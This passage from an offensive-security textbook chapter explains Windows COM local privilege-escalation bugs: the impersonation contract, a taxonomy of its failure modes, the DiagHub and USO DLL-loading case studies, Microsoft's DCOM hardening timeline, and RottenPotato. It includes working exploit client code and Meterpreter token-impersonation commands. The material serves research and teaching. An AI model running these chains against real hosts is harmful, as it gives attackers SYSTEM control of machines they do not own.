|
||||||
|
Marshalling across that boundary is NDR ("stubless" proxies generated from type information) or type-library driven (`oleaut32` automation marshalling). Everything about *who the server acts as* during the call relies on one mechanism — the impersonation contract in section 2 — and most of this chapter is a catalogue of how that contract fails.
|
||||||
|
|
||||||
|
> **Key idea:** The LPE question for any COM class is always the same three-tuple: (1) does the AppID let *me* activate and call it, (2) does the server run as a *higher* identity, (3) does any method touch a resource I control — a file path, a registry key, a DLL name, a process, or an interface pointer. If all three are yes, you have a lead.
|
||||||
|
|
||||||
|
> **Legal:** Every technique in this chapter escalates privileges on a Windows host. Use only inside an authorized engagement or your own lab. The PoCs below reproduce the original researchers' public work; several are intentionally destructive to the target build (they overwrite System32 files).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. The impersonation contract
|
||||||
|
|
||||||
|
Every COM LPE in this chapter is, at root, a broken promise about *whose token the server uses*. Learn the contract precisely; the bug taxonomy in section 3 is just its failure modes.
|
||||||
|
|
||||||
|
> **Beginner note:** An **access token** is the kernel object representing a logon session's identity: user SID, group SIDs, privileges. Threads normally run with the process **primary token**. **Impersonation** lets a server thread temporarily wear a *copy* of its client's token (an **impersonation token**) so access checks during a call evaluate against the caller, not the privileged server; `RevertToSelf()` drops it. An **integrity level** (IL) — Untrusted, Low, Medium, High, System — is a mandatory-integrity label inside the token; it gates writes, but as section 6 shows, IL alone is not a security boundary.
|
||||||
|
|
||||||
|
The client controls what it offers the server at two levels:
|
||||||
|
|
||||||
|
1. **Process-wide, once per process:** `CoInitializeSecurity(pSecDesc, cAuthSvc, asAuthSvc, pReserved1, dwAuthnLevel, dwImpLevel, pAuthList, dwCapabilities, pReserved3)` sets the default authentication and impersonation levels for all proxies ([74]).
|
||||||
|
2. **Per-proxy — the call that matters for exploitation:** `CoSetProxyBlanket(pProxy, dwAuthnSvc, dwAuthzSvc, pServerPrincName, dwAuthnLevel, dwImpLevel, pAuthInfo, dwCapabilities)`, a wrapper for `IClientSecurity::SetBlanket` ([74]). A client can raise (or lower) the impersonation level on any individual interface pointer it holds.
|
||||||
|
|
||||||
|
The impersonation-level constants the client passes ([77]):
|
||||||
|
|
||||||
|
| Constant | Value | Meaning |
|
||||||
|
|---|---|---|
|
||||||
|
| `RPC_C_IMP_LEVEL_DEFAULT` | 0 | Inherit process default |
|
||||||
|
| `RPC_C_IMP_LEVEL_ANONYMOUS` | 1 | Token unusable by the server |
|
||||||
|
| `RPC_C_IMP_LEVEL_IDENTIFY` | 2 | Server can identify the client only — **the token cannot be used to access objects** |
|
||||||
|
| `RPC_C_IMP_LEVEL_IMPERSONATE` | 3 | Server may act as the client **on the local machine** |
|
||||||
|
| `RPC_C_IMP_LEVEL_DELEGATE` | 4 | Server may act as the client off-machine (Kerberos only) |
|
||||||
|
|
||||||
|
Two capability flags decide *which* client token the proxy presents: `EOAC_STATIC_CLOAKING` (0x20) presents the token captured when the blanket was set; `EOAC_DYNAMIC_CLOAKING` (0x40) presents the *current thread* token on each call.
|
||||||
|
|
||||||
|
Authentication levels matter too: `RPC_C_AUTHN_LEVEL_CONNECT = 2` up through `PKT_INTEGRITY = 5` and `PKT_PRIVACY = 6` — the KB5004442 / CVE-2021-26414 DCOM hardening (section 6) is defined in terms of forcing a minimum of `PKT_INTEGRITY` for remote activation ([78]).
|
||||||
|
|
||||||
|
**Server side — the correct pattern ([75]).** A security-aware OOP server must verify what it was offered, impersonate, do the dangerous work *as the client*, and revert:
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
DWORD impLevel; DWORD authnSvc, authzSvc, authnLevel, caps; RPC_AUTHZ_HANDLE privs;
|
||||||
|
CoQueryClientBlanket(&authnSvc, &authzSvc, NULL, &authnLevel, &impLevel, &privs, &caps);
|
||||||
|
if (impLevel < RPC_C_IMP_LEVEL_IMPERSONATE) return E_ACCESSDENIED; // often missing!
|
||||||
|
HRESULT hr = CoImpersonateClient(); // thread token := client's token
|
||||||
|
/* ... privileged operation performed AS THE CLIENT ... */
|
||||||
|
CoRevertToSelf();
|
||||||
|
```
|
||||||
|
|
||||||
|
The check on the second line is the whole game: without it, a server may happily operate on an identification-level token (and fail mysteriously), or — worse for security — skip impersonation entirely and operate as SYSTEM. Transport equivalents exist for non-COM servers, and the potato family abuses all of them: raw RPC servers use `RpcImpersonateClient()`/`RpcRevertToSelf()`, named-pipe servers use `ImpersonateNamedPipeClient()`/`RevertToSelf()`, and the kernel-side equivalent is `PsImpersonateClient` gated by `SeTokenCanImpersonate`.
|
||||||
|
|
||||||
|
When a server receives only an IDENTIFY-level token and tries to *use* it (duplicate it to a primary, open objects), the call fails with error **1346 `ERROR_BAD_IMPERSONATION_LEVEL`**. That error is the signature of the identification-token wall the whole potato family ran into after Microsoft's 2018 hardening (section 7).
|
||||||
|
|
||||||
|

|
||||||
|
*How to read this figure: the left lane is the client offering an impersonation level via `CoSetProxyBlanket`; the right lane is the server. The guarded box around `CoImpersonateClient` is the access check most LPE bugs are missing — follow the dashed arrows for the failure modes (no impersonation, late impersonation, identify-level token).*
|
||||||
|
|
||||||
|
> **Key idea:** Impersonation is *opt-in by the client*. A malicious client that wants a privileged server to act as SYSTEM must either find a server that never impersonates (bug class 1), or find a path where the server impersonates, checks, and then reverts before doing the dangerous operation (bug class 2). Conversely, a client that wants to *capture* a SYSTEM token must offer `RPC_C_IMP_LEVEL_IMPERSONATE` itself — exactly what the USO client in section 5 does.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. How the contract fails: the LPE bug taxonomy
|
||||||
|
|
||||||
|
Six failure modes cover nearly every COM LPE published to date. Memorize this list — it is also the triage checklist for original research in section 10.
|
||||||
|
|
||||||
|
1. **No impersonation at all.** The server performs file, registry, or process operations as SYSTEM on attacker-controlled paths without ever calling `CoImpersonateClient()`. This is the classic privileged-file-operation bug class ([68]): the client passes a path, the server opens/moves/writes it with its own token. DiagHub's `AddAgent` (section 4) is the archetype — the client names a DLL inside `C:\Windows\System32` and the SYSTEM service loads it.
|
||||||
|
2. **Late or short-lived impersonation.** The server impersonates, performs an access *check*, then calls `RevertToSelf()` and performs the *write* as SYSTEM. The check is honest and the operation is still exploitable, because the resource being written can be swapped or linked after the check. The Storage Service's `SvcMoveFileInheritSecurity` — which applies inherited ACEs with `SetNamedSecurityInfo()` after reverting — is the documented instance, and it is stage one of the DiagHub chain (section 4).
|
||||||
|
3. **Identification-token confusion.** The server (or attacker tooling) ends up holding only an IDENTIFY-level token. Using it fails with error 1346 `ERROR_BAD_IMPERSONATION_LEVEL`. This failure mode is why early RoguePotato experiments captured "useless" tokens, and why Microsoft's post-2018 CLSID hardening deliberately downgrades captured tokens to Identification — a dead token is the *mitigation* (sections 6 and 7).
|
||||||
|
4. **Cloaking confusion.** Static vs dynamic cloaking picks the wrong token when a server itself makes outbound calls. Under `EOAC_STATIC_CLOAKING` the proxy presents the token captured at blanket-set time even if the thread has since impersonated someone else; under `EOAC_DYNAMIC_CLOAKING` it presents the current thread token. In relay and reflection chains, the wrong choice is the difference between reflecting a SYSTEM authentication and reflecting an anonymous one ([76]).
|
||||||
|
5. **Cross-session / "interactive user" activation.** An AppID with `RunAs = Interactive User` causes the object to be instantiated in *someone else's* logon session when activated from session 0 or another user's session. Combined with missing client verification in the server, activation from a low session lands code execution in a privileged user's session — the Session Moniker chain behind CVE-2017-0100 (section 6).
|
||||||
|
6. **Marshalled-by-reference leaks.** Object-oriented remoting marshals returned objects by reference by default: the object stays inside the server and the client receives a remote pointer. If the server hands out an object that was never meant to cross the trust boundary, the client now drives privileged code living inside the server process — the "trapped COM object" bug class of section 8, with a 2025-vintage PPL-injection PoC built entirely on `IDispatch`/`ITypeInfo`.
|
||||||
|
|
||||||
|

|
||||||
|
*How to read this figure: the client's attacker-controlled path enters the server method on the left. The correct flow (top) impersonates before touching the resource; the vulnerable flow (bottom) skips straight to the privileged operation, so the file/registry/process access is made with the server's SYSTEM token.*
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. Case study: DiagHub (Forshaw 2018)
|
||||||
|
|
||||||
|
**Since:** Windows 10 (the Windows 7/8.1 analog is the "IE ETW Collector") · **Affects:** Windows 10 builds before 19H1/1903 · **Researcher:** James Forshaw, Project Zero, April 2018, with companion bugs P0 issues 1427 and 1428 ([1], [2]).
|
||||||
|
|
||||||
|
The **Microsoft (R) Diagnostics Hub Standard Collector Service** ("DiagHub") collects ETW diagnostics on behalf of sandboxed apps (Edge/IE). It runs as **SYSTEM**, shipping as `DiagnosticsHub.StandardCollector.Service.exe` plus `DiagnosticsHub.StandardCollector.Runtime.dll`. It had already been abused by Lokihardt (sandbox escape) and by Forshaw (user to SYSTEM), and CVEs kept landing afterwards: **CVE-2018-0952** (Atredis Partners PoC, [66]) and a later case-sensitivity directory-traversal EoP (irsl PoC, [67]).
|
||||||
|
|
||||||
|
### 4.1 The DCOM object
|
||||||
|
|
||||||
|
- **CLSID `{42CBFAA7-A4A7-47BB-B422-BD10E9D02700}`** ("Diagnostics Hub Standard Collector Service"), DCOM-activatable by normal users *and* by AppContainer/LPAC sandboxes (the `(A;;CCDCSW;;;AU)` AppID of section 1).
|
||||||
|
- Interfaces: `IMarshal`, `IUnknown`, `IStandardCollectorAuthorizationService` (IID `2D2AC45D-03BB-4B8A-8EFE-93EF98217054`), and **`IStandardCollectorService` (IID `0D8AF6B7-EFD5-4F6D-A834-314740AB8CAA`)**; proxy CLSID `4323664B-B884-4929-8377-D2FD097F7BD3`.
|
||||||
|
- `IStandardCollectorService` exposes 8 methods (3 `IUnknown` + 5): `CreateSession`, `GetSession`, `DestroySession`, `DestroySessionAsync`, `AddLifetimeMonitorProcessIdForSession`. Forshaw recovered the names with the OleViewDotNet IPID→VTable workflow plus WinDbg `dqs DiagnosticsHub_StandardCollector_Runtime+0x36C78 L8`, and the signatures via OleViewDotNet's "View Proxy Definition" NDR decompilation — the exact recipe generalized in section 10.
|
||||||
|
|
||||||
|
### 4.2 The load-anything primitive
|
||||||
|
|
||||||
|
The session object's `AddAgent(dllName, guid)` loads a collector "agent" DLL. The simplified server code ([1]):
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
void EtwCollectionSession::AddAgent(LPWCSTR dll_path, REFGUID guid) {
|
||||||
|
WCHAR valid_path[MAX_PATH];
|
||||||
|
if (!GetValidAgentPath(dll_path, valid_path)) return E_INVALID_AGENT_PATH;
|
||||||
|
HMODULE mod = LoadLibraryExW(valid_path, nullptr, LOAD_WITH_ALTERED_SEARCH_PATH);
|
||||||
|
dll_get_class_obj = GetProcAddress(hModule, "DllGetClassObject");
|
||||||
|
return dll_get_class_obj(guid);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
|
||||||
|
`GetValidAgentPath` constrains the load to `C:\Windows\System32` — **but not to any file extension**. So: place any file (for example `license.rtf`) whose contents are a valid DLL exporting `DllGetClassObject` into System32, call `CreateSession` then `AddAgent(L"license.rtf", guid)`, and your code runs **as SYSTEM, outside `DllMain` and outside loader lock** (the service calls `DllGetClassObject` explicitly after load). Client skeleton from the blog:
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
CoCreateInstance(CLSID_CollectorService, nullptr, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&service));
|
||||||
|
SessionConfiguration config = {}; config.version = 1;
|
||||||
|
config.monitor_pid = GetCurrentProcessId(); CoCreateGuid(&config.guid);
|
||||||
|
config.path = SysAllocString(L"C:\\Dummy");
|
||||||
|
service->CreateSession(&config, nullptr, &session);
|
||||||
|
session->AddAgent(L"dummy.dll", agent_guid);
|
||||||
|
```
|
||||||
|
|
||||||
|
### 4.3 The full exploit chain (issue 1428)
|
||||||
|
|
||||||
|
DiagHub supplies the *loader*; the Storage Service supplies the *write*. The chain ([1], [2]):
|
||||||
|
|
||||||
|
1. **StorSvc `SvcMoveFileInheritSecurity`** impersonates the caller, `MoveFileEx()`es a file, **then reverts impersonation** and calls `SetNamedSecurityInfo()` as SYSTEM to apply inherited ACEs — bug class 2 from section 3. Two bugs fall out: the failed-ACL revert path allows arbitrary file *creation* (issue 1427), and via **hard links** `SetNamedSecurityInfo` applies attacker-chosen ACEs to *any* file SYSTEM can `WRITE_DAC` (issue 1428).
|
||||||
|
2. Pick a non-TrustedInstaller-owned, non-critical System32 file — the blog uses **`C:\Windows\System32\license.rtf`**. Candidates are enumerable with NtObjectManager's `Get-AccessibleFile -AccessRights WriteDac` run against the StorSvc process token.
|
||||||
|
3. Overwrite `license.rtf` with a DLL implementing `DllGetClassObject`.
|
||||||
|
4. DiagHub `CreateSession` → `AddAgent("license.rtf", …)` → **DLL loaded as SYSTEM**.
|
||||||
|
5. The same loader primitive was later reused by the Metasploit module for the **CVE-2019-0841** AppXSvc hardlink EoP, whose credits read "James Forshaw — Code creating hard links and communicating with DiagHub service".
|
||||||
|
|
||||||
|
> **Beginner note:** A **hard link** is a second directory entry pointing at the same underlying file data. Created through the right system calls, it needs no ownership of the target, so an attacker makes a file they *do* control alias a file SYSTEM owns — then any "set ACL on the controlled path" operation retargets the privileged file. `WRITE_DAC` is the access right to change a file's permissions.
|
||||||
|
|
||||||
|

|
||||||
|
*How to read this figure: read left to right. `SvcMoveFileInheritSecurity` plus a hard link converts a weak ACL operation into `WRITE_DAC` on `license.rtf`; the file is overwritten with a DLL; `CoCreateInstance({42CBFAA7-…})` → `CreateSession` → `AddAgent` → `LoadLibraryExW` executes it as SYSTEM. The mitigation ribbon at the right marks the 19H1 ProcessImageLoadPolicy fix.*
|
||||||
|
|
||||||
|
### 4.4 Microsoft's mitigation
|
||||||
|
|
||||||
|
**Windows 10 19H1 / 1903** hardened DiagHub with a **`ProcessImageLoadPolicy`** restricting the collector to loading **Microsoft-signed binaries only** (first flagged publicly by @x9090 and @decoder_it on Twitter in Jan/Feb 2019). That killed the "load an arbitrary-extension file from System32" trick outright. The USO trick of section 5 was its replacement — and that was hardened in turn in 2020-era Insider builds.
|
||||||
|
|
||||||
|
> **Key idea:** Microsoft increasingly kills the *weaponization primitive* — loader policy, signing-level checks, KnownDlls — rather than each individual file-write bug. The same pattern reappears as the oleaut32 `VerifyTrust` signing-level check in section 8. When you plan an engagement, assume arbitrary-file-write bugs outlive their public weaponization paths.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Case study: USO and UsoDllLoader (itm4n 2019)
|
||||||
|
|
||||||
|
**Since:** August 2019, itm4n — "Weaponizing Privileged File Writes with the USO Service", parts 1 and 2 ([9], [10]); tool `UsoDllLoader` ([11]). · **Affects:** mainstream Windows 10 of the era; broken on 2020-era Insider builds and later patched.
|
||||||
|
|
||||||
|
### 5.1 The primitive
|
||||||
|
|
||||||
|
The **Update Session Orchestrator** service (`UsoSvc`, implemented in `C:\Windows\System32\usosvc.dll`, running as SYSTEM) attempts to load a **non-existent DLL, `windowscoredeviceinfo.dll`, from System32 every time an Update Session is created** ([9]). Any privileged-file-write primitive therefore becomes code execution: drop a payload as `C:\Windows\System32\windowscoredeviceinfo.dll`, then trigger a scan — via the built-in undocumented client `usoclient.exe StartScan`, or directly over COM — and the service loads the DLL and calls a specific export, so payload code runs as SYSTEM **outside `DllMain`**, avoiding loader-lock constraints.
|
||||||
|
|
||||||
|
> **Warning:** This is not a vulnerability by itself. It is a **weaponization bridge** — the successor to DiagHub after 1903 — that converts any arbitrary-write-to-System32 primitive (a potato, a StorSvc bug, a spooler bug) into SYSTEM code execution. itm4n's repo notes (June 2020) that the trick was already broken on then-current Insider builds while still working on mainstream Windows 10; treat it as historical-but-instructive and verify per target build.
|
||||||
|
|
||||||
|
### 5.2 The COM interface map
|
||||||
|
|
||||||
|
Part 2 of the series reconstructs the client side of the orchestrator from scratch ([10]):
|
||||||
|
|
||||||
|
- **CLSID `UpdateSessionOrchestrator` = `{B91D5831-B1BD-4608-8198-D72E155020F7}`**; AppID `{E7299E79-75E5-47BB-A03D-6D319FB7F886}`; server `usosvc.dll`.
|
||||||
|
- `CoCreateInstance` requests IID **`IUpdateSessionOrchestrator` = `{07F3AFAC-7C8A-4CE7-A5E0-3D24EE8A77E0}`**, whose 5 methods past `IUnknown` are `CreateUpdateSession`, `GetCurrentActiveUpdateSessions`, `LogTaskRunning`, `CreateUxUpdateManager`, `CreateUniversalOrchestrator` (recovered from the `usosvc.dll` VTable).
|
||||||
|
- **`IUsoSessionCommon` IID = `{FCCC288D-B47E-41FA-970C-935EC952F4A4}`** — 68 methods; OleViewDotNet auto-generated the interface code once the IID was known. Another GUID seen in a `QueryInterface` during the work: `C57692F8-8F5F-47CB-9381-34329B40285A`.
|
||||||
|
|
||||||
|
The reconstructed "StartScan" client flow, verbatim from part 2:
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
CoInitializeEx(0, COINIT_MULTITHREADED);
|
||||||
|
CoCreateInstance(CLSID_UpdateSessionOrchestrator, nullptr, CLSCTX_LOCAL_SERVER,
|
||||||
|
IID_PPV_ARGS(&updateSessionOrchestrator));
|
||||||
|
updateSessionOrchestrator->LogTaskRunning(L"StartScan");
|
||||||
|
updateSessionOrchestrator->CreateUpdateSession(1, &IID_IUsoSessionCommon, &usoSessionCommon);
|
||||||
|
CoSetProxyBlanket(usoSessionCommon, RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT,
|
||||||
|
COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_DEFAULT,
|
||||||
|
RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, NULL);
|
||||||
|
usoSessionCommon->Proc21(0, 0, L"ScanTriggerUsoClient"); // VTable[21] = StartScan trigger
|
||||||
|
CoUninitialize();
|
||||||
|
```
|
||||||
|
|
||||||
|
Note the `CoSetProxyBlanket(... RPC_C_IMP_LEVEL_IMPERSONATE ...)` line: the client must *offer* impersonation for the privileged server to act on its behalf. That is the section 2 contract observed in the wild, in Microsoft's own client code.
|
||||||
|
|
||||||
|
### 5.3 The RE methodology (why this case study matters)
|
||||||
|
|
||||||
|
The interface above was undocumented. itm4n's workflow, step by step:
|
||||||
|
|
||||||
|
1. **Static:** `symchk` to pull PDB symbols; string cross-reference on `"StartScan"` leads to `PerformOperationOnSession()` / `PerformOperationOnManager()` in `usosvc.dll`.
|
||||||
|
2. **Dynamic:** breakpoint on `_guard_dispatch_icall_fptr` (the CFG indirect-call thunk) immediately after `CoCreateInstance` to catch every proxy dispatch; WinDbg `dqs` on the proxy VTable (`usoapi!IUpdateSessionOrchestratorProxyVtbl`) to dump slot addresses.
|
||||||
|
3. **Slot matching:** map each client-side `ObjectStublessClientN` slot to its server-side symbol in `usosvc.dll` — that is how `Proc21` was identified as the StartScan trigger.
|
||||||
|
4. **Tool failure and pivot:** OleViewDotNet failed to expand the object (`ClassFactory cannot supply requested class`), so the interface was recovered by client-side dynamic analysis instead of OVDN introspection. A realistic "the tool fails, you pivot" moment — expect it (section 10).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. DCOM NTLM reflection and the hardening timeline
|
||||||
|
|
||||||
|
This section separates two bugs that are constantly conflated, then lays out the eight-year Microsoft hardening campaign that the entire potato family is a reaction to.
|
||||||
|
|
||||||
|
> **Key idea:** **CVE-2015-2370 (MS15-076) is the DCOM/DCE-RPC local NTLM reflection bug — Project Zero issue 325.** **CVE-2017-0100 (MS17-012) is a different DCOM LPE: the HelpPane.exe interactive-user client-verification bug from Forshaw's COM Session Moniker research.** Same subsystem, different mechanism, different year. Do not conflate them; the timeline below keeps them on separate rows.
|
||||||
|
|
||||||
|
> **Beginner note:** **NTLM reflection** means convincing a privileged process to start an NTLM authentication *to you*, then feeding that authentication back into a *local* server context you control, so the local SSPI handshake completes and yields an impersonation token for the privileged identity. No password is cracked; attacker and target share one machine.
|
||||||
|
|
||||||
|
### 6.1 The root bug: CVE-2015-2370 (MS15-076, July 14 2015)
|
||||||
|
|
||||||
|
Reported by James Forshaw on 2015-04-09 as **"Windows: DCOM DCE/RPC Local NTLM Reflection Elevation of Privilege"** (Project Zero issue 325, [3]) — a follow-on to the unfixed WebDAV NTLM reflection issue 128.
|
||||||
|
|
||||||
|
**Mechanism.** When a DCOM object reference is marshalled by reference (`OBJREF_STANDARD`), the OBJREF carries RPC **string bindings**: a TowerID plus an address string. Specifying TowerID `NCACN_IP_TCP` and a string of the form `host[port]` makes the **object resolver (rpcss, acting for the privileged server) open a TCP connection to an arbitrary local port** and perform NTLM authentication per the security bindings. A local attacker relays that SYSTEM NTLM exchange back into a *local* `AcceptSecurityContext()` loop and negotiates a **SYSTEM impersonation token locally**. In Forshaw's original PoC the reflected authentication was aimed at the local DCOM activation service to activate **`CLSID_Package {F20DA720-C02F-11CE-927B-0800095AE340}`** as SYSTEM; a variant wrote a file to `C:\Windows (2)`.
|
||||||
|
|
||||||
|
**Fix.** MS15-076 — "the authentication implementation in the RPC subsystem … does not prevent DCE/RPC connection reflection" — added reflection protections to the RPC runtime (`rpcrt4.dll`). **Weaponization history.** NetSPI's "Trebuchet" ("Exploiting MS15-076 (CVE-2015-2370)", [35]) turned the PoC into arbitrary file write using Forshaw's SyScan'15 symlink/junction tricks — junctions plus `\RPC Control` object-manager symlinks via CreateSymlink. **This bug is the direct ancestor of every potato in section 7.**
|
||||||
|
|
||||||
|
### 6.2 CVE-2017-0100 (MS17-012, March 2017) — what it actually is
|
||||||
|
|
||||||
|
Official title: **"Windows HelpPane Elevation of Privilege Vulnerability"** ([36]) — "a DCOM object in **Helppane.exe**, configured to run as the interactive user, fails to properly authenticate the client." Local users gain privileges via a crafted application (Windows 7 SP1 through 10 1607, Server 2008 R2 through 2016). It is bug class 5 from section 3: `RunAs = Interactive User` plus cross-session activation (the COM Session Moniker) plus missing client verification — Helppane executed attacker content without checking who was asking.
|
||||||
|
|
||||||
|
Microsoft's fix then *checked the wrong thing*: Forshaw's follow-up report **"Windows: Bad Fix for COM Session Moniker EoP"** became **CVE-2017-0298** ([37]). The HelpPane check compared integrity levels rather than verifying membership of the administrators group; IL is not a security boundary, and UIAccess IL-ratcheting could defeat it. Public text: exploit-db / 0day.today ID 28134.
|
||||||
|
|
||||||
|
> **Key idea:** Verify *who the caller is* (client blanket, identity, group membership), not *how elevated their token looks*. An integrity level is a label, not an identity.
|
||||||
|
|
||||||
|
### 6.3 Microsoft's DCOM hardening timeline
|
||||||
|
|
||||||
|
| Date | Change | Impact |
|
||||||
|
|---|---|---|
|
||||||
|
| Jul 2015 | **MS15-076 / CVE-2015-2370** — RPC runtime blocks DCE/RPC connection reflection | Kills raw reflection; potato family moves to local token negotiation |
|
||||||
|
| Mar 2017 | **MS17-012 / CVE-2017-0100** (then CVE-2017-0298 bad-fix fix) | Session Moniker chain closed |
|
||||||
|
| May 2017 | **CVE-2017-0213** (COM Aggregate Marshaler, `CStdMarshal::Finish_RemQIAndUnmarshal2` RQI2 unpack bug) & **CVE-2017-0214** (type-library load validation) patched — both Forshaw; PoC: BITS `SetNotifyInterface` → load attacker type lib under impersonation → **scriptlet moniker** → code exec in BITS as SYSTEM. 0213 later entered CISA KEV | Type-library attack surface shrinks |
|
||||||
|
| Oct 2018 (RS5) | **Silent rpcss fix (Win10 1809 / Server 2019)**: OXID binding no longer built via string concat `host[port]`; new `CreateRemoteBindingToOR()` builds bindings via `RpcStringBindingCompose()` → `host[port][135]` fails parsing; also remote OXID queries forced to **port 135 only** and processed as **ANONYMOUS LOGON**; abusable-CLSID set hardened so captured tokens become **Identification** tokens; PrintNotify-style CLSIDs gated to **INTERACTIVE** group | Kills Rotten/JuicyPotato (decoder's post "No more rotten/juicy potato?", 2018-10-29, [15]) |
|
||||||
|
| 2019 (19H1/1903) | DiagHub **ProcessImageLoadPolicy** (MS-signed loads only) | Kills DiagHub weaponization |
|
||||||
|
| Jun 2021+ | **KB5004442 / CVE-2021-26414** — DCOM server hardening: minimum `RPC_C_AUTHN_LEVEL_PKT_INTEGRITY` enforced for remote DCOM activation (phased) | Mostly a *remote* DCOM mitigation ([78]) |
|
||||||
|
| Jan 2023 | **CVE-2023-21746** — NTLM local-auth context-swap fix in `msv1_0.dll` (`SsprHandleChallengeMessage`: if `ISC_REQ_UNVERIFIED_TARGET_NAME` set and SPN present → SPN forced NULL → SMB anti-reflection on `cifs/127.0.0.1` fires) | Kills LocalPotato SMB scenario |
|
||||||
|
|
||||||
|
Every row of this table creates the conditions for the next potato: the 1809 OXID changes force RoguePotato's remote-resolver architecture, the INTERACTIVE gating forces JuicyPotatoNG's type-9 logon trick, and the NTLM context-swap fix pushes LocalPotato into its HTTP variant. Section 7 is the offensive mirror image of this table.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. The Potato family
|
||||||
|
|
||||||
|
### 7.1 Common prerequisites and the three COM roles
|
||||||
|
|
||||||
|
> **Beginner note:** **`SeImpersonatePrivilege`** ("Impersonate a client after authentication") lets a process legitimately *use* a captured impersonation token — duplicate it and hand it to `CreateProcessWithTokenW`. **`SeAssignPrimaryTokenPrivilege`** ("Replace a process level token") lets a process swap in a new primary token via `CreateProcessAsUser`. Both are held by default by service accounts: IIS AppPool identities, MSSQL service accounts, `LOCAL SERVICE`, `NETWORK SERVICE`, scheduled-task service accounts. That is why every potato is a *service-account* to SYSTEM escalation, not user to SYSTEM.
|
||||||
|
|
||||||
|
**Token-type math (all potatoes, [30]):** the captured SYSTEM token is an *impersonation* token. To run a process you either duplicate it to a primary token and call `CreateProcessWithTokenW` (needs `SeImpersonatePrivilege`), or call `CreateProcessAsUser` (needs `SeAssignPrimaryTokenPrivilege`). If the captured token is only Identification-level, both paths fail with error 1346 — the taxonomy's failure mode 3.
|
||||||
|
|
||||||
|
> **Key idea:** **COM appears in this family in exactly three roles.** (a) The **trigger** — a DCOM activation (`CoGetInstanceFromIStorage` with a crafted `IStorage`) that forces a privileged COM server to authenticate to the attacker. (b) The **OXID resolver** — rpcss's `IObjectExporter::ResolveOxid2` interface (UUID `99FCFEC4-5260-101B-BBCB-00AA0021347A`) that locates objects, and that attackers fake or redirect. (c) The **callback surface** — attacker-implemented COM objects (fake `IUnknown`/`IRemUnknown2` servers) into which the privileged side calls back, enabling `CoImpersonateClient()`/`RpcImpersonateClient()`. Everything else in these chains — NTLM relay, named-pipe impersonation, MS-RPRN/MS-EFSR coercion, SMB context swapping — is RPC/SMB/SSPI, not COM. Precise attribution matters when you hunt for variants and when you write detections.
|
||||||
|
|
||||||
|
### 7.2 Pre-history: Hot Potato and RottenPotatoNG
|
||||||
|
|
||||||
|
- **Hot Potato** (FoxGlove, January 2016, [29]): NBNS spoofing + WPAD + Windows Update HTTP NTLM to SYSTEM; patched as MS16-075 (Metasploit `windows/local/ms16_075_reflection`). No COM anywhere — included only because the name causes confusion. **RottenPotatoNG** (FoxGlove, [31]): the official C++ port of RottenPotato without the Meterpreter/Incognito dependency; the codebase SweetPotato and CandyPotato later wrapped.
|
||||||
|
|
||||||
|
### 7.3 RottenPotato: local NTLM reflection over DCOM (2016)
|
||||||
|
|
||||||
|
**Since:** FoxGlove Security — @breenmachine & @vvalien1, September 2016 ([28], [31]) · **Affects:** ≤ Windows 10 **1803** / Server ≤ 2016 era; killed by the 1809 OXID changes · **COM role:** trigger + OXID redirect.
|
||||||
|
|
||||||
|
RottenPotato is CVE-2015-2370's mechanism repackaged for post-MS15-076 builds: instead of reflecting raw RPC, it MITMs the local OXID resolution of a DCOM activation and completes the NTLM handshake against a *local* SSPI server context.
|
||||||
|
|
||||||
|
#### Mechanics
|
||||||
|
|
||||||
|
1. **COM trigger:** `CoGetInstanceFromIStorage(NULL, CLSID_BITS, …)` with the hardcoded **BITS CLSID `{4991D34B-80A1-4291-83B6-3328366B9097}`** and a hand-crafted `IStorage` whose string bindings point at `127.0.0.1:6666`. This forces the BITS COM server (SYSTEM) to speak DCOM/RPC to the attacker's TCP listener.
|
||||||
|
2. **Byte-level relay (RPC, not COM):** the RPC conversation is relayed to the real OXID resolver on TCP 135 so the activation proceeds normally.
|
||||||
|
3. **The critical trick (SSPI):** when the NTLMSSP exchange begins, the MITM swaps the Type 2 message's **challenge plus "Reserved" field** — the Reserved field is a reference to the local `SecHandle` — with output of a local `AcquireCredentialsHandle` + `AcceptSecurityContext()` loop.
|
||||||
|
4. SYSTEM's Type 3 completes the *local* authentication → `ImpersonateSecurityContext()` yields a SYSTEM impersonation token → the original tool hands it to Meterpreter's Incognito to use.
|
||||||
|
5. Result: 100% reliable, instant, cross-version SYSTEM from any account holding `SeImpersonatePrivilege` — on builds up to 1803.
|
||||||
|
|
||||||
|

|
||||||
|
*How to read this figure: the BITS server (SYSTEM) is tricked into authenticating to the attacker's local listener via the crafted `IStorage`. The MITM box in the middle splices the NTLM Type 2 Reserved field into a local `AcceptSecurityContext` loop; the output on the right is a SYSTEM impersonation token.*
|
||||||
|
|
||||||
|
#### Prerequisites
|
||||||
|
|
||||||
|
| Requirement | Detail |
|
||||||
|
|---|---|
|
||||||
|
| Privileges | `SeImpersonatePrivilege` (or `SeAssignPrimaryTokenPrivilege`) — service accounts |
|
||||||
|
| OS/build | ≤ Windows 10 1803 / Server 2016 era; BITS abusable as trigger CLSID, local TCP listener allowed |
|
||||||
|
|
||||||
|
#### Proof of concept
|
||||||
|
|
||||||
|
```powershell
|
||||||
|
# Original workflow: Meterpreter session running as a service account *(illustrative)*
|
||||||
|
load incognito
|
||||||
|
execute -Hc -f RottenPotato.exe
|
||||||
|
list_tokens -u # SYSTEM impersonation token now available
|
||||||
|
impersonate_token "NT AUTHORITY\\SYSTEM"
|
||||||
|
```
|
||||||
|
|
||||||
|
#### OpSec & detection
|
||||||
|
|
||||||
|
